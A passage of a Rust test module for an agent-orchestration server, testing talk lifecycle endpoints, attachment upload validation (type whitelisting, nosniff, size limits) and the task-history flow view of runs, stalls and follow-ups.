14005 break;
14006 }
14007 tokio::time::sleep(Duration::from_millis(10)).await;
14008 }
14009 let finished = store.get(&id).expect("finished talk");
14010 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14011 assert!(finished.turns[0].body.is_empty());
14012 assert_eq!(finished.turns[0].attachments.len(), 1);
14013 assert!(finished.pending_attachments.is_empty());
14014 }
14015
14016 #[tokio::test]
14017 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14018 let (_tmp, _repo, f) = talk_fixture().await;
14019 let id = f.post("/api/talks", None).await.json()["id"]
14020 .as_str()
14021 .expect("id")
14022 .to_owned();
14023 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14024 assert_eq!(closed.status, 200, "{}", closed.body);
14025 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14026 .expect("serialize closed talk");
14027 for (path, body) in [
14028 (format!("/api/talks/{id}/pending/resume"), None),
14029 (
14030 format!("/api/talks/{id}/pending/clear"),
14031 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14032 ),
14033 (
14034 format!("/api/talks/{id}/pending/edit"),
14035 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14036 ),
14037 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14038 ] {
14039 let response = f.post(&path, body).await;
14040 assert_eq!(response.status, 409, "{}", response.body);
14041 }
14042 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14043 .expect("serialize closed talk");
14044 assert_eq!(
14045 after_clear, before_clear,
14046 "clear must not rewrite a closed talk"
14047 );
14048 }
14049
14050 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14053
14054 #[tokio::test]
14055 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14056 let tmp = TempDir::new().expect("tempdir");
14057 let repo = tmp.path().join("repo");
14058 std::fs::create_dir_all(&repo).expect("repo dir");
14059 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14060 let f = Fixture::with_repo(repo).await;
14061 let id_a = f.post("/api/talks", None).await.json()["id"]
14062 .as_str()
14063 .unwrap()
14064 .to_owned();
14065 let id_b = f.post("/api/talks", None).await.json()["id"]
14066 .as_str()
14067 .unwrap()
14068 .to_owned();
14069
14070 let a = f
14071 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14072 .await;
14073 assert_eq!(a.status, 202, "{}", a.body);
14074 assert_eq!(a.json()["thinking"], true);
14075 let b = f
14076 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14077 .await;
14078 assert_eq!(b.status, 202, "{}", b.body);
14079 assert_eq!(b.json()["thinking"], true);
14080
14081 let listed = f.get("/api/talks").await.json();
14082 for id in [&id_a, &id_b] {
14083 let view = listed
14084 .as_array()
14085 .unwrap()
14086 .iter()
14087 .find(|talk| talk["id"] == *id)
14088 .unwrap();
14089 assert_eq!(view["thinking"], true, "{listed}");
14090 }
14091 let repeated = f
14092 .post(
14093 &format!("/api/talks/{id_a}/say"),
14094 Some(r#"{"text":"again"}"#),
14095 )
14096 .await;
14097 assert_eq!(repeated.status, 202, "{}", repeated.body);
14098 assert_eq!(repeated.json()["pending"], "again");
14099 }
14100
14101 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14104
14105 #[tokio::test]
14106 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14107 let f = Fixture::start().await;
14108 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14109
14110 let res = f
14111 .post_bytes(
14112 &format!("/api/talks/{id}/attachments"),
14113 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14114 PNG_BYTES,
14115 )
14116 .await;
14117 assert_eq!(res.status, 201, "{}", res.body);
14118 let body = res.json();
14119 assert_eq!(body["name"], "shot.png");
14120 assert_eq!(body["mime"], "image/png");
14121 assert_eq!(body["bytes"], PNG_BYTES.len());
14122 let att_id = body["id"].as_str().expect("id").to_owned();
14123 assert_eq!(
14124 att_id.len(),
14125 32,
14126 "the id must never be a client-suppliable path: {att_id}"
14127 );
14128
14129 let got = f
14130 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14131 .await;
14132 assert_eq!(got.status, 200, "{}", got.body);
14133 assert_eq!(got.header("content-type"), Some("image/png"));
14134 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14135 assert_eq!(got.bytes, PNG_BYTES);
14136 }
14137
14138 #[tokio::test]
14139 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14140 let f = Fixture::start().await;
14141 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14142
14143 let svg = f
14146 .post_bytes(
14147 &format!("/api/talks/{id}/attachments"),
14148 &[("Content-Type", "image/svg+xml")],
14149 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14150 )
14151 .await;
14152 assert!(
14153 (400..500).contains(&svg.status),
14154 "svg must be refused: {} {}",
14155 svg.status,
14156 svg.body
14157 );
14158 assert!(svg.body.contains("SVG"), "{}", svg.body);
14159
14160 let text = f
14161 .post_bytes(
14162 &format!("/api/talks/{id}/attachments"),
14163 &[("Content-Type", "text/plain")],
14164 b"just some text",
14165 )
14166 .await;
14167 assert!(
14168 (400..500).contains(&text.status),
14169 "an unlisted type must be refused: {} {}",
14170 text.status,
14171 text.body
14172 );
14173
14174 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14177 let big = f
14178 .post_bytes(
14179 &format!("/api/talks/{id}/attachments"),
14180 &[("Content-Type", "image/png")],
14181 &oversized,
14182 )
14183 .await;
14184 assert_eq!(
14185 big.status,
14186 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
14187 "{}",
14188 big.body
14189 );
14190 }
14191
14192 #[tokio::test]
14193 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
14194 let f = Fixture::start().await;
14195 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
14196
14197 let res = f
14200 .post_bytes(
14201 &format!("/api/talks/{id}/attachments"),
14202 &[("Content-Type", "image/png")],
14203 b"<html>not a picture</html>",
14204 )
14205 .await;
14206 assert!((400..500).contains(&res.status), "{}", res.body);
14207 }
14208
14209 #[tokio::test]
14210 async fn an_unknown_attachment_id_is_a_404() {
14211 let f = Fixture::start().await;
14212 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
14213
14214 let res = f
14215 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
14216 .await;
14217 assert_eq!(res.status, 404, "{}", res.body);
14218 }
14219
14220 #[tokio::test]
14221 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
14222 let f = Fixture::start().await;
14223 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
14224
14225 let uploaded = f
14226 .post_bytes(
14227 &format!("/api/talks/{id}/attachments"),
14228 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14229 PNG_BYTES,
14230 )
14231 .await;
14232 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14233 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
14234
14235 let res = f
14236 .post(
14237 &format!("/api/talks/{id}/say"),
14238 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
14239 )
14240 .await;
14241 assert_eq!(res.status, 202, "{}", res.body);
14242 let queued = res.json();
14243 let turns = queued["turns"].as_array().expect("turns array");
14244 assert_eq!(
14245 turns.len(),
14246 1,
14247 "an empty body with an attachment is still a turn: {queued}"
14248 );
14249 assert_eq!(turns[0]["who"], "operator");
14250 assert_eq!(turns[0]["body"], "");
14251 let atts = turns[0]["attachments"]
14252 .as_array()
14253 .expect("attachments array");
14254 assert_eq!(atts.len(), 1);
14255 assert_eq!(atts[0]["id"], att_id);
14256 assert_eq!(atts[0]["mime"], "image/png");
14257
14258 let on_disk = f.talks().get(&id).expect("get");
14261 assert_eq!(on_disk.turns[0].attachments.len(), 1);
14262 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
14263 }
14264
14265 #[tokio::test]
14266 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
14267 let f = Fixture::start().await;
14268 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
14269
14270 let res = f
14271 .post(
14272 &format!("/api/talks/{id}/say"),
14273 Some(&format!(
14274 r#"{{"text":"hi","attachments":["{}"]}}"#,
14275 "a".repeat(32)
14276 )),
14277 )
14278 .await;
14279 assert!((400..500).contains(&res.status), "{}", res.body);
14280 assert!(res.body.contains("unknown attachment"), "{}", res.body);
14281
14282 let on_disk = f.talks().get(&id).expect("get");
14283 assert!(
14284 on_disk.turns.is_empty(),
14285 "a rejected attachment id must not partially record the turn: {:?}",
14286 on_disk.turns
14287 );
14288 }
14289
14290 #[tokio::test]
14291 async fn talk_close_makes_the_talk_refuse_further_turns() {
14292 let f = Fixture::start().await;
14293 let id = seed_talk(&f, "20260904-014455-cd34", "open");
14294
14295 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14296 assert_eq!(closed.status, 200, "{}", closed.body);
14297 assert_eq!(closed.json()["status"], "closed");
14298
14299 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
14301 assert_eq!(closed_again.status, 200);
14302 assert_eq!(closed_again.json()["status"], "closed");
14303
14304 let said = f
14305 .post(
14306 &format!("/api/talks/{id}/say"),
14307 Some(r#"{"text":"too late"}"#),
14308 )
14309 .await;
14310 assert_eq!(said.status, 409, "{}", said.body);
14311 }
14312
14313 #[tokio::test]
14314 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
14315 let (_tmp, _repo, f) = talk_fixture().await;
14316 let id = f.post("/api/talks", None).await.json()["id"]
14317 .as_str()
14318 .expect("id")
14319 .to_owned();
14320 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14321 assert_eq!(closed.status, 200, "{}", closed.body);
14322
14323 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14324 assert_eq!(reopened.status, 200, "{}", reopened.body);
14325 assert_eq!(reopened.json()["status"], "open");
14326
14327 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14329 assert_eq!(reopened_again.status, 200);
14330 assert_eq!(reopened_again.json()["status"], "open");
14331
14332 let said = f
14333 .post(
14334 &format!("/api/talks/{id}/say"),
14335 Some(r#"{"text":"still there?"}"#),
14336 )
14337 .await;
14338 assert_eq!(
14339 said.status, 202,
14340 "a reopened talk accepts turns again: {}",
14341 said.body
14342 );
14343 }
14344
14345 #[tokio::test]
14346 async fn talk_reopen_on_an_unknown_id_is_404() {
14347 let f = Fixture::start().await;
14348 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
14349 assert_eq!(res.status, 404, "{}", res.body);
14350 }
14351
14352 #[tokio::test]
14353 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
14354 let f = Fixture::start().await;
14355 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
14356
14357 let deleted = f.delete(&format!("/api/talks/{id}")).await;
14358 assert_eq!(deleted.status, 204, "{}", deleted.body);
14359
14360 let after = f.get(&format!("/api/talks/{id}")).await;
14361 assert_eq!(after.status, 404, "{}", after.body);
14362
14363 let listed = f.get("/api/talks").await.json();
14364 assert!(
14365 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
14366 "a deleted talk must not linger in the list: {listed}"
14367 );
14368 }
14369
14370 #[tokio::test]
14371 async fn talk_delete_on_an_unknown_id_is_404() {
14372 let f = Fixture::start().await;
14373 let res = f.delete("/api/talks/nonexistent-id").await;
14374 assert_eq!(res.status, 404, "{}", res.body);
14375 }
14376
14377 #[tokio::test]
14381 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
14382 let f = Fixture::start().await;
14383 let (a, b, gone) = (
14384 "20260902-140501-aaaa",
14385 "20260902-140502-bbbb",
14386 "20260902-140503-cccc",
14387 );
14388 write_run(&f.runs(), a, RunStatus::Stalled);
14389 let mut review = RunState::new(
14390 PathBuf::from("/repo/magi"),
14391 "main".to_owned(),
14392 "0123456789abcdef".to_owned(),
14393 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
14394 .to_owned(),
14395 Config::default(),
14396 );
14397 review.id = b.to_owned();
14398 review.status = RunStatus::Merged;
14399 write_state(&f.runs(), &review);
14400
14401 let mut task = Task::new(
14402 "retry".to_owned(),
14403 "Do the thing".to_owned(),
14404 PathBuf::from("/repo/magi"),
14405 Source::Human,
14406 );
14407 task.start(a.to_owned());
14408 task.stall("quota");
14409 task.start(a.to_owned());
14410 task.start(b.to_owned());
14411 task.start(gone.to_owned());
14412 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
14414 f.queue().put(&mut task).expect("file the task");
14415
14416 let res = f.get(&format!("/api/queue/{}", task.id)).await;
14417 assert_eq!(res.status, 200, "{}", res.body);
14418 let v = res.json();
14419 let h = v["history"].as_array().expect("history");
14420 assert_eq!(h.len(), 4, "{v}");
14421 assert_eq!(h[0]["kind"], "competition");
14422 assert_eq!(h[0]["status"], "stalled");
14423 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
14424 assert_eq!(h[1]["kind"], "resume", "{v}");
14425 assert!(
14426 h[0]["outcome"]
14427 .as_str()
14428 .unwrap()
14429 .contains("unknown. Pass #2"),
14430 "an earlier pass of a resumed run must not claim the final outcome: {v}"
14431 );
14432 assert!(
14433 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
14434 "{v}"
14435 );
14436 assert!(
14437 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
14438 "an unrecorded cause must not be narrated as an operator park: {v}"
14439 );
14440 assert_eq!(h[2]["kind"], "review");
14441 assert!(
14442 h[2]["description"]
14443 .as_str()
14444 .unwrap()
14445 .contains("magi/aaaa/A")
14446 );
14447 assert_eq!(h[2]["status"], "merged");
14448 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
14449 assert_eq!(v["runs_unreadable"], 1);
14450 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
14451 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
14452 assert_eq!(nodes[4]["note"], "unreadable");
14453 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
14454 assert_eq!(v["instruction"], "Do the thing");
14455 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
14456
14457 let run = f.get(&format!("/api/runs/{a}")).await.json();
14459 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
14460
14461 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
14462 }
14463
14464 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
14465 let mut s = RunState::new(
14466 PathBuf::from("/repo/magi"),
14467 "main".to_owned(),
14468 "0123456789abcdef".to_owned(),
14469 "Do it".to_owned(),
14470 Config::default(),
14471 );
14472 s.status = status;
14473 edit(&mut s);
14474 s
14475 }
14476
14477 fn flow_task(runs: &[&str]) -> Task {
14478 let mut t = Task::new(
14479 "t".to_owned(),
14480 "Do it".to_owned(),
14481 PathBuf::from("/repo/magi"),
14482 Source::Human,
14483 );
14484 for r in runs {
14485 t.start((*r).to_owned());
14486 }
14487 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14489 t
14490 }
14491
14492 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
14493 let h = task_history(task, |id| {
14494 states
14495 .iter()
14496 .find(|(i, _)| *i == id)
14497 .and_then(|(_, s)| s.clone())
14498 });
14499 task_flow(task, &h, 5, None)
14500 }
14501
14502 #[test]
14503 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
14504 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
14505 let created = "2026-10-10T01:00:00Z".parse().unwrap();
14506 let first = "2026-10-10T02:00:00Z".parse().unwrap();
14507 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
14508 let held = "2026-10-10T04:00:00Z".parse().unwrap();
14509 let run = flow_run(RunStatus::Implementing, |s| {
14510 s.created_at = created;
14511 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
14512 s.passes[0].started_at = first;
14513 s.passes[1].started_at = resumed;
14514 });
14515 let mut task = flow_task(&[RUN_X, RUN_X]);
14516 task.created_at = queued;
14517 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
14518 task.status = TaskStatus::Held;
14519 task.held_at = Some(held);
14520 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
14521 assert_eq!(
14522 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
14523 vec![Some(queued), Some(first), Some(resumed), Some(held)]
14524 );
14525 assert!(flow.nodes.iter().all(|n| n.time_expected));
14526 let json = serde_json::to_value(&flow).unwrap();
14527 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
14528 assert_eq!(json["nodes"][2]["time_expected"], true);
14529 }
14530
14531 #[test]
14532 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
14533 let created = "2026-10-10T01:00:00Z".parse().unwrap();
14534 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
14535 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
14536 task.held_at = Some(created);
14538 task.blocked_at = Some(created);
14539 for status in [
14540 TaskStatus::Queued,
14541 TaskStatus::Running,
14542 TaskStatus::Blocked,
14543 TaskStatus::Done,
14544 TaskStatus::Failed,
14545 TaskStatus::Parked,
14546 TaskStatus::Held,
14547 ] {
14548 task.status = status;
14549 if status == TaskStatus::Held {
14550 task.held_at = None;
14551 }
14552 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
14553 assert_eq!(flow.nodes[1].started_at, Some(created));
14554 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
14555 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
14556 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
14557 let json = serde_json::to_value(&flow).unwrap();
14558 assert!(json["nodes"][3]["started_at"].is_null());
14559 assert_eq!(json["nodes"][3]["time_expected"], true);
14560 }
14561 }
14562
14563 #[test]
14564 fn flow_context_links_do_not_expect_start_times() {
14565 let mut task = flow_task(&[]);
14566 task.source = Source::Agent {
14567 run: "chat-id".to_owned(),
14568 node: "chat".to_owned(),
14569 };
14570 let origin = followup_origin(&fu(None), |_| None, |_| None);
14571 let flow = task_flow(&task, &[], 5, Some(&origin));
14572 for node in &flow.nodes[..2] {
14573 assert!(!node.time_expected);
14574 assert_eq!(node.started_at, None);
14575 }
14576 assert!(flow.nodes[2].time_expected);
14577 }
14578
14579 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
14580 crate::queue::FollowUp {
14581 run: "20260901-000000-aaaa".to_owned(),
14582 origin_task: origin_task.map(str::to_owned),
14583 pr: "https://example.com/o/r/pull/1".to_owned(),
14584 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
14585 .map(str::to_owned)
14586 .to_vec(),
14587 generation: 1,
14588 }
14589 }
14590
14591 fn parent_task() -> Task {
14592 let mut p = flow_task(&[]);
14593 p.title = "Parent title".to_owned();
14594 p.status = TaskStatus::Done;
14595 p
14596 }
14597
14598 #[test]
14599 fn flow_opens_with_the_parent_task_of_a_followup() {
14600 let p = parent_task();
14601 let pid = p.id.clone();
14602 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
14603 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14604 let n = &f.nodes[0];
14605 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
14606 assert_eq!(
14607 n.label,
14608 format!("Follow-up of {}", crate::queue::short(&pid))
14609 );
14610 assert_eq!(n.detail.as_deref(), Some("Parent title"));
14611 assert_eq!(n.status, Some("done"));
14612 assert_eq!(n.status_of, "task");
14613 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
14614 assert_eq!(f.nodes[1].key, "start");
14615 assert_eq!(f.edges[0].from, "origin");
14616 assert_eq!(
14617 f.edges[0].label,
14618 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
14619 );
14620 }
14621
14622 #[test]
14623 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
14624 let o = followup_origin(
14625 &fu(Some("gone")),
14626 |_| None,
14627 |_| {
14628 Some(RunState::new(
14629 std::path::PathBuf::from("."),
14630 "main".to_owned(),
14631 "0".to_owned(),
14632 "t".to_owned(),
14633 crate::config::Config::default(),
14634 ))
14635 },
14636 );
14637 assert!(o.parent.is_none());
14638 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14639 let n = &f.nodes[0];
14640 assert_eq!(n.status_of, "run");
14641 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
14642 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
14643 }
14644
14645 #[test]
14646 fn flow_followup_with_nothing_readable_has_no_link() {
14647 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
14648 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14649 let n = &f.nodes[0];
14650 assert_eq!(n.href, None);
14651 assert_eq!(n.note, Some("unreadable"));
14652 assert!(!n.readable);
14653 }
14654
14655 #[test]
14656 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
14657 let o = followup_origin(&fu(None), |_| None, |_| None);
14658 let mut t = flow_task(&[]);
14659 t.origin_chat = Some("c1".to_owned());
14660 let f = task_flow(&t, &[], 5, Some(&o));
14661 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
14662 t.source = Source::Agent {
14663 run: "c1".to_owned(),
14664 node: crate::queue::CHAT_NODE.to_owned(),
14665 };
14666 let f = task_flow(&t, &[], 5, Some(&o));
14667 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
14668 assert_eq!(
14669 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
14670 ("chat", "origin")
14671 );
14672 }
14673
14674 #[test]
14675 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
14676 let mut p = parent_task();
14677 p.id = "a b/c".to_owned();
14678 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
14679 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
14680 }
14681
14682 #[test]
14683 fn flow_opens_with_the_chat_that_queued_the_task() {
14684 let mut t = flow_task(&[]);
14685 t.source = Source::Agent {
14686 run: "a b/c".to_owned(),
14687 node: crate::queue::CHAT_NODE.to_owned(),
14688 };
14689 let f = flow_for(&t, &[]);
14690 assert_eq!(f.nodes[0].key, "chat");
14691 assert_eq!(f.nodes[0].kind, "chat");
14692 assert_eq!(
14693 f.nodes[0].label,
14694 format!("Chat {}", crate::queue::short("a b/c"))
14695 );
14696 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
14697 assert_eq!(f.nodes[1].key, "start");
14698 assert_eq!(
14699 f.edges[0],
14700 FlowEdge {
14701 from: "chat".to_owned(),
14702 to: "start".to_owned(),
14703 label: "queued from chat".to_owned(),
14704 attempt: AttemptCost::None,
14705 }
14706 );
14707 }
14708
14709 #[test]
14710 fn flow_has_no_chat_box_for_other_sources() {
14711 for source in [
14712 Source::Human,
14713 Source::Issue {
14714 number: 3,
14715 repo: "o/r".to_owned(),
14716 },
14717 Source::Agent {
14718 run: "20260904-014455-ab12".to_owned(),
14719 node: "implement".to_owned(),
14720 },
14721 ] {
14722 let mut t = flow_task(&[]);
14723 t.source = source;
14724 let f = flow_for(&t, &[]);
14725 assert_eq!(f.nodes[0].key, "start");
14726 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
14727 assert!(f.edges.iter().all(|e| e.from != "chat"));
14728 }
14729 }
14730
14731 const FA: &str = "20260902-140501-aaaa";
14732 const FB: &str = "20260902-140502-bbbb";
14733
14734 #[test]
14735 fn flow_follows_blocked_retry_merged_to_done() {
14736 let mut t = flow_task(&[FA, FB]);
14737 t.status = TaskStatus::Done;
14738 let f = flow_for(
14739 &t,
14740 &[
14741 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
14742 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
14743 ],
14744 );
14745 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
14746 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
14747 assert_eq!(f.edges.len(), 3);
14748 assert_eq!(f.edges[0].label, "claimed");
14749 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
14750 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14751 assert_eq!(f.edges[2].label, "merged \u{2192} done");
14752 assert_eq!(
14753 f.nodes[2].href.as_deref(),
14754 Some("#/runs/20260902-140502-bbbb")
14755 );
14756 assert!(f.nodes[2].decided);
14757 }
14758
14759 #[test]
14760 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
14761 let quota = || {
14762 flow_run(RunStatus::Stalled, |s| {
14763 s.quota.push(crate::run::QuotaLoss {
14764 seat: "judge-1".to_owned(),
14765 node: "judge".to_owned(),
14766 at: Timestamp::now(),
14767 reset: None,
14768 })
14769 })
14770 };
14771 let mut t = flow_task(&[FA, FA]);
14772 t.status = TaskStatus::Queued;
14773 let f = flow_for(&t, &[(FA, Some(quota()))]);
14774 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
14775 assert_eq!(f.nodes[1].note, Some("interrupted"));
14776 assert_eq!(
14777 f.nodes[1].status, None,
14778 "no outcome copied onto an earlier pass"
14779 );
14780 assert_eq!(
14781 f.edges[1].attempt,
14782 AttemptCost::Unknown,
14783 "a resume does not prove the earlier pass was refunded"
14784 );
14785 assert!(f.edges[1].label.contains("resume the same run"));
14786 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
14787 assert_eq!(
14788 f.edges[2].label,
14789 "stalled after a resume, refund unknown \u{2192} queued"
14790 );
14791 assert!(!f.nodes[2].decided, "a stall is not a decision");
14792 assert_eq!(f.nodes[2].note, Some("no verdict"));
14793 }
14794
14795 #[test]
14796 fn flow_single_pass_quota_stall_is_refunded() {
14797 let t = flow_task(&[FA]);
14798 let f = flow_for(
14799 &t,
14800 &[(
14801 FA,
14802 Some(flow_run(RunStatus::Stalled, |s| {
14803 s.quota.push(crate::run::QuotaLoss {
14804 seat: "judge-1".to_owned(),
14805 node: "judge".to_owned(),
14806 at: Timestamp::now(),
14807 reset: None,
14808 })
14809 })),
14810 )],
14811 );
14812 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14813 }
14814
14815 #[test]
14816 fn flow_parked_refunds_and_stall_without_quota_spends() {
14817 let mut t = flow_task(&[FA]);
14818 t.status = TaskStatus::Queued;
14819 let f = flow_for(
14820 &t,
14821 &[(
14822 FA,
14823 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14824 )],
14825 );
14826 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14827 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14828 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14829 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14830 assert!(!f.nodes[1].decided);
14831 }
14832
14833 #[test]
14834 fn flow_keeps_an_unreadable_run_as_its_own_node() {
14835 let t = flow_task(&[FA, FB]);
14836 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14837 assert_eq!(f.nodes[1].note, Some("unreadable"));
14838 assert!(!f.nodes[1].readable);
14839 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14840 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14841 }
14842
14843 #[test]
14844 fn flow_names_the_branch_of_a_review_only_run() {
14845 let t = flow_task(&[FA]);
14846 let f = flow_for(
14847 &t,
14848 &[(
14849 FA,
14850 Some(flow_run(RunStatus::Merged, |s| {
14851 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14852 })),
14853 )],
14854 );
14855 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14856 assert_eq!(
14857 f.nodes[1].detail.as_deref(),
14858 Some("review-only run of branch magi/x/A")
14859 );
14860 }
14861
14862 #[test]
14863 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14864 let mut t = flow_task(&[FA]);
14865 t.status = TaskStatus::Held;
14866 let pr = crate::run::PrRecord {
14867 url: "https://example.test/pr/1".to_owned(),
14868 number: 1,
14869 state: "open".to_owned(),
14870 checks: "green".to_owned(),
14871 round: 0,
14872 rounds: 3,
14873 red_at_merge: Vec::new(),
14874 };
14875 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14876 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14877 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14878 t.status = TaskStatus::Done;
14879 let f = flow_for(&t, &[(FA, Some(blocked))]);
14880 assert_eq!(f.edges[1].label, "closed by hand: task is done");
14881 }
14882
14883 #[test]
14884 fn flow_with_no_runs_goes_from_queued_to_queued() {
14885 let t = flow_task(&[]);
14886 let f = flow_for(&t, &[]);
14887 assert_eq!(f.nodes.len(), 2);
14888 assert_eq!(f.edges.len(), 1);
14889 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14890 assert_eq!(f.edges[0].attempt, AttemptCost::None);
14891 }
14892
14893 #[test]
